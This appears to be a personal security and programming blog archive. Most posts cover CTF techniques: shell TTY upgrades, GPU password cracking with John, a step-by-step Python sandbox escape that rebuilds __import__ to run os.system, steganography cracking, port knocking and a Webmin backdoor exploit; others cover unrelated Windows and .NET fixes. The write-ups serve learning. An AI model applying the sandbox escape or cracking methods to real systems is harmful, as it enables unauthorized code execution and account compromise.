Wednesday, June 23, 2021

Fixing TTYs with script - For when there's no python/3

After catching a reverse shell in CTF-style challenges with nc, you generally need to fix the TTY (In short - How the terminal works). Without fixing it, you have numerous problems - The most obvious being that command-line programs cannot accept inputs on a different line - So no typing in a password for sudo. Obviously a major issue!

The most common method I use is with python, or python3 - Depending on how old the system is. The syntax for this is:

python -c "import pty; pty.spawn('/bin/bash');"

Or simply adding a 3 for python3:

python3 -c "import pty; pty.spawn('/bin/bash');"

Most boxes generally have one or the other, so you're set from there. The issue comes when you get a shell inside a container that lacks python. I recently came across this scenario and discovered script.

script is - To quote from the man pages:

script makes a typescript of everything on your terminal session.

In short - It saves everything in your session to a log file. It turns out, if you use a few parameters, you can use it to fix your TTY (Or more specifically - Silently redirect running output to bash whilst setting the log file to /dev/null) - Or - In code form:

script -qc bash /dev/null

 

In the following screenshot I realize that there's no python or python3, realize script and bash exists, and use script to run bash to get a fixed TTY inside a container.

Using script to fix TTY

Thursday, May 13, 2021

Enabling case sensitivity in Windows Folders

I recently discovered that - By default - The Windows Filesystem is case insensitive.

 This is easily testable.


Folders



Files



If you require case sensitivity to be enabled in a specific folder, you can run:

fsutil file setCaseSensitiveInfo C:\Reelix\CaseTest enable

You will get informed that it has been enabled.

C:\Reelix\CaseTest>fsutil file setCaseSensitiveInfo C:\Reelix\CaseTest enable
Case sensitive attribute on directory C:\Reelix\CaseTest is enabled.

You can then test the results.


Possible issues

If you get Error: The request is not supported. run

powershell Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

And reboot.

If you get Error: Access is denied. then use an administrative terminal.

Enjoy!

Tuesday, May 11, 2021

John - Fixing "No OpenCL devices found" for fast GPU cracking

If anyone has tried to do password cracking, they might realize that they generally have 2 options:

1.) Hashcat - Small Range of Hash Formats - Fast Cracking (GPU)
2.) John The Ripper - Large Range of Hash Formats - Slow Cracking (CPU)

What many people don't know is that John can actually do GPU cracking in some instances!

When cracking a hash with John, many people have probably seen something similar to the following recommending the OpenCL variation

Warning: detected hash type "sometype", but the string is also recognized as "sometype-opencl"

But have simply glossed over it, since attempting to use --format:sometype-opencl has simply resulted in a No OpenCL devices found error, and the hash cracks fine (Albeit slowly using only the CPU)

This bug has existed for a long time - This is how to solve it, and get super-fast GPU cracking on John!

1.) In your John folder, open up etc\OpenCL\vendors\nvidia.icd in a text editor
2.) You will see something like c:\Windows\System32\nvopencl.dll
3.) Go to C:\Windows\System32\, and search for nvopencl64.dll - In my case, it was hidden inside a DriverStore folder
4.) Copy the path of it (If you have multiple, simply use the first one), and place the full path inside Johns nvidia.icd, replacing what's already there
5.) Save, and re-run john with the --format:whatever-opencl

Enjoy your fast GPU cracking :)

Tuesday, May 4, 2021

Python3.9 - AttributeError: module 'base64' has no attribute 'decodestring'

Whilst doing a ctf challenge, I needed to brute-force an encrypted private key, so I turned to John and ran the usual
python sshng2john.py hash.txt
This time, however, I was greeted with an unfriendly
> AttributeError: module 'base64' has no attribute 'decodestring'
After some searching around, I realized that I could change Line 640 in sshng2john.py from
data = base64.decodestring(data)
to
data = base64.decodebytes(data)
Which solved the issue.

Silly Python3.9 breaking changes :(

Saturday, April 24, 2021

The Craziest Python Sandbox Escape

Several CTF Challenges involve Python Sandbox Escapes.

In essence, you're allowed to run a small piece of Python code, often being run by Pythons "exec" function which simply executes any code given to it.

With no restrictions, you can simply go:

>>> import os; os.system('whoami');
reelix

The "whoami" is simply a proof of concept. You can run any linux command from there, so you can alter files, create a reverse shell, and so on.

So they then limit the ability to use spaces so you can't do the import. You can bypass that by using one of Pythons builtin functions and going:

__import__('os').system('whoami');

So they then limit it further. No spaces, but now you're not allowed to use the words "import", "os", or "system" - Either Uppercase, or Lowercase. You can bypass that by converting the required words to strings, reversing them, and calling them directly, and go:

getattr(getattr(__builtins__,'__tropmi__'[::-1])('so'[::-1]),'metsys'[::-1])('whoami');

And that's about as far as most get. In a recent CTF however, I had all the above restrictions, but now no builtins (No __import__ or __builtins__), or quotes either!

Aside from the quote removal, the challenge was:

exec('Your Input Here', {'__builtins__': None, 'print':print});

Getting Letters

Python doesn't require the entire string to be together, so you can go:

>>> import os; os.system('who'+'am'+'i');
reelix

In addition, you can assign these to variables, so you can go:

>>> wordwhoami='w'+'ho'+'ami';import os;os.system(wordwhoami);
reelix

So, first, I needed some way to be able to get some letters.

If you run:

().__class__.__base__.__subclasses__();

It splits out every base class that Python3 has:

>>> ().__class__.__base__.__subclasses__();
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, ......

Well, this list of classes has letters in it, right? So lets use those!

We can't just use these letters directly, as it's a list of objects and not a string, so we need to convert that list to a string to be able to get access to the individual characters.

Whilst we can't just use str like you normally would since str is one of the builtin classes that were stripped, that list of classes has <class 'str'> in it at position 22 - So let's use that instead!

>>> ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__());
"[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>......

And, since it's now a string, we can simply use the positional index to pluck out specific characters!

We need an "o" and an "s" for "os". The "s" we can get from the word "class" at the start at index 5, and the "o" we can get from "NoneType" at index 164. So, to print "os" we can go:

>>> ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164]+().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
'os'

Let's assign them some variables so it's easier to use them later.

>>> charo=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164];
chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
charo+chars;
'os'

Getting __import__ back

Now I was stuck for awhile. I couldn't just any of the builtin classes since they were stripped, so I couldn't run __import__ to import the "os" I had just created - Now what!

After extensive searching, I came across this link showing that the base class "_frozen_importlib.BuiltinImporter" had a .load_module method that could get the builtins back!

Similar to how we used the "str" method to convert our original list to a string, we can call this method by its index in our base list (At position 84), and construct the text it required for the .load_module method from a list of indexed characters!

>>> charb=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[53];
>>> charu=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[235];
>>> chari=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[94];
>>> charl=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[51];
>>> chart=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[9];
>>> charn=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[95];
>>> chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
>>> ().__class__.__bases__[0].__subclasses__()[84]().load_module(charb+charu+chari+charl+chart+chari+charn+chars).__import__;
<built-in function __import__>

And now we have our __import__ back! Hurrah!

Putting it all together

Now we just need to add the missing characters for the rest, neaten it up a bit, and we're done - Full code execution!

>>> charb=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[53];
>>> charu=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[235];
>>> chari=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[94];
>>> charl=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[51];
>>> chart=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[9];
>>> charn=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[95];
>>> chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
>>> charo=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164];
>>> charw=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[25];
>>> charh=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[540];
>>> chara=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[4];
>>> charm=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[187];
>>> bi=().__class__.__bases__[0].__subclasses__()[84]().load_module(charb+charu+chari+charl+chart+chari+charn+chars);
>>> bi.__import__(charo+chars).system(charw+charh+charo+chara+charm+chari);
reelix

Saturday, April 17, 2021

Stegseek - A proper Steghide cracker at last!

During CTF challenges, they sometimes hide data inside an image with Steghide. The common way to solve these is to use steghide with a located password or crack the password from a wordlist. Up until now, this has been EXTREMELY slow with common brute-force applications re-running Steghide with each and every password in the list - Around 500 attempts per second on faster systems. When attempting to do this with a larger password list such as RockYou which contains millions of entries, this speed was obviously an issue.

During some recent browsing, I found a tool that can not only crack these passwords TWENTY THOUSAND TIMES FASTER, but in some cases can actually locate data inside a password-protected Steghide image without actually knowing the original password by brute-forcing every possible way that Steghide uses to embed the image in the first place o_O

Link to the tool on Github: Stegseek

Wednesday, March 31, 2021

TryHackMe Certs

A kind fellow bought me a 30-day membership to Premium TryHackMe, so I decided to get some of their certificates whilst I was able to. 


I also got this one last Christmas, although whilst I'm sticking them all here, I might as well include this one too.




Tuesday, October 20, 2020

Wireshark - Filtering for a Port Knocking sequence

In a recent CTF, I was required to analyze a .pcapng file to find a Port Knocking sequence. I didn't know an easy way to do this, and Google only gave up some half useful answers, so after a bit of research, I decided to write this post in the hopes that someone may stumble upon it in the future :)

Filter: (tcp.flags.reset eq 1) && (tcp.flags.ack eq 1)


Before


After


Make sure that the order number is correct (The "No." column goes from lowest to highest), and read the Port number on the left in the "Info" column.

In this case, the sequence is 7864, 8273, 9241, 12007, 60753, so a:

> knock 10.10.35.61 7864 8273 9241 12007 60753 -t 500

Would get you what you need. 

I found that sometimes you might need to knock 2 or 3 times before the filtered port opens for some reason, but there you go!

Wednesday, August 12, 2020

What looks like binary, but isn't?

Whilst doing a CTF, I came across a crypto challenge similar to the following that looked like binary:

11111111110010001010101110101111111010111111111101101101101100000110100100101111111111111100101001011110010100000000000010100110111100101001001011111111111001010011111111111111100101001011100101000101011110010100000000000000000000000000010101110010100111110010100110010100101111100101001010010100110111111111111111111111111111100101001111111111111111111111110010100100100000000000000000000000000000000000000000000000000000000000000000000000010100100000000000000000000000000000000000000000000010100010101111111001010000000000001010111111111111111001010

After it failed decoding AS binary, I tried the Magic option on CyberChef which failed, and several variations of the Baconian cipher - Which also failed.

After much searching and many failings, I came across Spoon - An esoteric programming language whose code looks like binary. A quick Google search led me to this online interpreter from dCode. Pasting in the text and clicking the "Execute" button got me the result I needed!

Wednesday, July 8, 2020

Exploiting Webmin 1.890 through cURL

In a recent CTF, I came across a legacy version of Webmin with a Metasploit module. I prefer to do things without Metasploit, so decided to use cURL.



  • In the above, you can see that Webmin is running by the page title - "Login to Webmin" and the version - "Server: MiniServ/1.890"

    This specific version of Webmin has a backdoor with an associated Metasploit Module. The exploit looked easy enough, so I decided to do it manually.



  • Basic code execution.



  • We're already root...



  • And there's the flag. I won't cat it in this post, but there you go.

    Monday, September 9, 2019

    Diagnosing a weird lack of RAM

    Whilst recently playing Warframe, the game crashed with an "Out of Memory" error. I found this to be a bit odd as I have 32GB RAM.

    Checking Task Manager, I saw my RAM Usage was weirdly high (25GB / 31.9GB). After closing everything (Chrome, Discord, Visual Studio, SQL Server, etc), it was still sitting at 19GB which was still really high.

    I downloaded the latest version of RAMMap to figure out what was going on. It didn't show any process leaking anything (I have had issues with excessive Modified Page List Bytes being used in the past since I intentionally have no Pagefile - But it wasn't the case here). Then I saw something odd.


    The "Nonpaged Pool" (Whatever that was?) was using up 13.1GB RAM. I didn't realize that was unusual until I searched around and figured out that it should be taking around 500MB - Max - On a Server - With over 100 days uptime. Something was definitely up!

    After extensive research, I found out that the "Nonpaged Pool" was a collection of RAM used up by System drivers. Most people simply recommended to reboot when it gets high, but that wasn't good enough for me - I wanted to figure out what was wrong!

    I eventually came across this awesome page which got me to install the latest Windows SDK to get a process called "poolmon.exe" (Installing a 9GB SDK for a single app seems excessive, but I couldn't figure out any other way to get it...). After running the program and ordering things, the issue was immediately apparent.


    Something with the tag of "AfdB" was using up 6821892960 Bytes (Or 6.8GB) of RAM, whilst the next highest thing "EtwB" was using up 33046784 Bytes (or 33MB) of RAM.

    I opened up CMD and ran

    > findstr /m /l /s AfdB C:\Windows\System32\Drivers\*.sys

    And came up with two results.

    > C:\Windows\System32\Drivers\afd.sys
    > C:\Windows\System32\Drivers\EasyAntiCheat.sys

    So, the problem was either in afd.sys (The "Ancillary Function Driver for WinSock"), or EasyAntiCheat.sys (A third-party anti-hacking program installed by some games). You can most likely guess which one was the issue :p

    The EastAntiCheat.sys in my System32\Drivers folder was from 2016. The latest version correctly located at C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.sys was from 2019. I rebooted in Safe Mode, deleted the one in System32, and rebooted again.

    After 3 days of uptime, my PC is now sitting at a happy 5GB / 31.9GB, and the Non-paged pool is at a much happier 148MB. Much better :)

    Sunday, July 28, 2019

    Running openvpn without it hanging the terminal

    Whilst messing around with HackTheBox, I attempted to connect to the VPN from an Ubuntu VM I have with Google.

    The annoying part was that after it ran, it would hang at "Initialization Sequence Completed", and required a second terminal connection to continue. If I Control+C'd, it would kill the VPN connection.

    After a bit of searching, I found that I could run it then background it by going

    > sudo openvpn Reelix.ovpn &

    In which case it would still hang at "Initialization Sequence Completed", but I could Control+C it without it killing it. Close... But the hanging annoyed me.

    After a bit more searching, I found that OpenVPN had a --daemon parameter, but going

    > sudo openvpn Reelix.ovpn --daemon

    Threw up an error

    > Options error: I'm trying to parse "Reelix.ovpn" as an --option parameter but I don't see a leading '--'
    > Use --help for more information.

    After much searching, I eventually discovered the trick!

    > sudo openvpn --config Reelix.ovpn --daemon

    Success!



    To kill the connection, I could either go

    > sudo pkill -f "openvpn --config Reelix.ovpn"

    Or

    > ps aux | grep openvpn
    > sudo kill -2 processIdHere

    Sunday, September 30, 2018

    Starcraft 2 AI Battles!

    Whilst going through my daily news, I found an article about how an AI Bot in Starcraft 2 managed to beat the hardest native SC2 AI. In my search for the videos of these battles (Which I couldn't find), I managed to find the SC2 API for bots, and with a little more searching - The SC2 AI Ladder.

    Browsing their Wiki, I came across a SC2 Bot writted in C#. So, I did what any awesome developer would do - I downloaded it, customized the daylights out of it, and entered it into the AI Ladder (Without expecting to actually get anywhere - Only a few hours work after all). After a few problems with uploading (Which the Site Admin helped me out with on Discord!), I managed to get a working bot onto their ladder.

    The initial results amazed me!

    Not only was my bot not absolutely terrible - It was winning almost every match it entered! In fact, it had a 78% Win Rate (And a 22% Crash Rate which was destroying my rating...) - And that was just the first version!!! I fixed some crashes, optimized some code, fiddled with the gameplay, and re-entered my Bot - Eager to see how the new changes affected the ratings!

    Tuesday, September 25, 2018

    Tiny C# Remote SSH Version Detector

    Whilst doing some NetSec stuff, I needed a quick way to get the SSH version of a remote target, so I coded the following.

    Demo (No Connection, Open Connection via Netcat, Actual SSH Server, Actual SSH Server on a custom port)

    SSH Version Detector

    Download: Here (5kb)

    Source

    Saturday, September 15, 2018

    Configuring MPC-HC for easy Anime watching

    Whilst watching some Anime recently, I got a bit annoyed that the default language was always set to English, so I had to change the language, and fixed the subtitles every 20 minutes or so which got super annoying.

    I eventually found a fix.

    Right Click -> Options -> Playback -> Default track preference

    Set the number to the "Subtitles" number to the order of the option you prefer at the bottom of the Right Click -> Subtitle Track list, and the "Audio" option to "jpn"


    Tuesday, September 11, 2018

    Simple C# Command-Line Twitch Bot

    Got bored one evening, so decided to create a basic Twitch bot in C#

    It can't really do anything besides watch the chat, count the users, parse Twitch user tag data (Oh gawd why...) and have the user send messages to the chat, but the basic infrastructure is there for anything more complex.

    Code: Here

    Sample Screenshot


    Ready Player One - Audio Book (Free)

    It seems that the Audio Book for Ready Player One has become free. It's read by Wil Wheaton, and it's an awesome listen!

    Go here to see and sample, or just download the entire thing in .ogg format here (480MB)

    Friday, July 27, 2018

    My Chrome Theme

    This is the Fluttershy-themed Chrome theme I use.

    This post is here because I had a few people asking me which it was.

    Theme link: Here

    Thursday, December 28, 2017

    NetSec - A simple .zip dictionary attacker

    I couldn't find a simple app to dictionary attack .zip files on Windows for a NetSec challenge, so I coded one.

    Download Link: Here (106kb)
    Github Repo: Here

    If you're looking for something more intensive, try John the Ripper

    Sample Screenshot

    Sunday, December 18, 2016

    JavaScript - Sum of the first X prime numbers

    I recently had a programming challenge where I had to find the sum of the first X prime numbers in JavaScript in a slightly compressed format, and couldn't find anything decent online.

    So I coded this.


    It could be far better, although the challenge was timed :P

    Thanks to The Polyglot Developer for their "isPrime" function :)

    Wednesday, November 23, 2016

    A Textbox that only allows numbers

    Since this seems so hard to do... An actual working example :)

    Usage HTML: <input type="text" onkeypress="return isNumericKeyPress(event.keyCode);" onpaste="isNumericPaste(this);" />

    OR

    ASP.NET: <asp:textbox ID="txtNumsOnly" runat="server" onkeypress="return isNumericKeyPress(event.keyCode);" onpaste="isNumericPaste(this);"></asp:textbox>

    Demo Type or paste something:

    Samples
    - 1!2@3#
    - Test
    - Test1
    - 1a2b3c

    Saturday, October 29, 2016

    C# - Finding the Median value of a List

    I love using Lists in C#. Unfortunately, the List class lacks some functionality - Like finding the median value in a set.

    Definition: The median is the value separating the higher half of a data sample, a population, or a probability distribution, from the lower half. In simple terms, it may be thought of as the "middle" value of a data set. For example, in the data set {1, 3, 3, 6, 7, 8, 9}, the median is 6, the fourth number in the sample. The median is a commonly used measure of the properties of a data set in statistics and probability theory.

    Examples:

    1.) If there is an odd number of numbers, the middle one is picked. For example, consider the set of numbers:
    1, 3, 3, 6, 7, 8, 9
    This set contains seven numbers. The median is the fourth of them, which is 6.

    2.) In the data set:
    1, 2, 3, 4, 5, 6, 8, 9
    The median is the mean of the middle two numbers: this is (4 + 5) ÷ 2, which is 4.5.
    - Median on Wikipedia

    So - Here's some code to do it :)

    Monday, July 6, 2015

    ASP.NET - Fixing Entity Framework Migration Errors

    AKA

    "The Entity Framework provider type 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' registered in the application config file for the ADO.NET provider with invariant name 'System.Data.SqlClient' could not be loaded. Make sure that the assembly-qualified name is used and that the assembly is available to the running application. See http://go.microsoft.com/fwlink/?LinkId=260882 for more information."

    OR

    "Exception Details: System.InvalidOperationException: The Entity Framework provider type 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' registered in the application config file for the ADO.NET provider with invariant name 'System.Data.SqlClient' could not be loaded. Make sure that the assembly-qualified name is used and that the assembly is available to the running application. See http://go.microsoft.com/fwlink/?LinkId=260882 for more information."

     

    Whilst doing migrations from EF4 to EF6, I came across the following error. This is caused by two different things

    1.) Your project contains both EF4 and EF6 references. If you're using EF6, only EF6 can be in the project. Either remove everything EF4 related, or upgrade it to EF6.

    2.) You're missing a DLL. This seems to be the most common error. Navigate to applicationPath\bin\ on the server, and look for EntityFramework.SqlServer.dll (Should be around 600KB). For some odd reason, it rarely gets included in deployments. If it's not there, simply copy the version from your development machine onto the server, and you're good to go!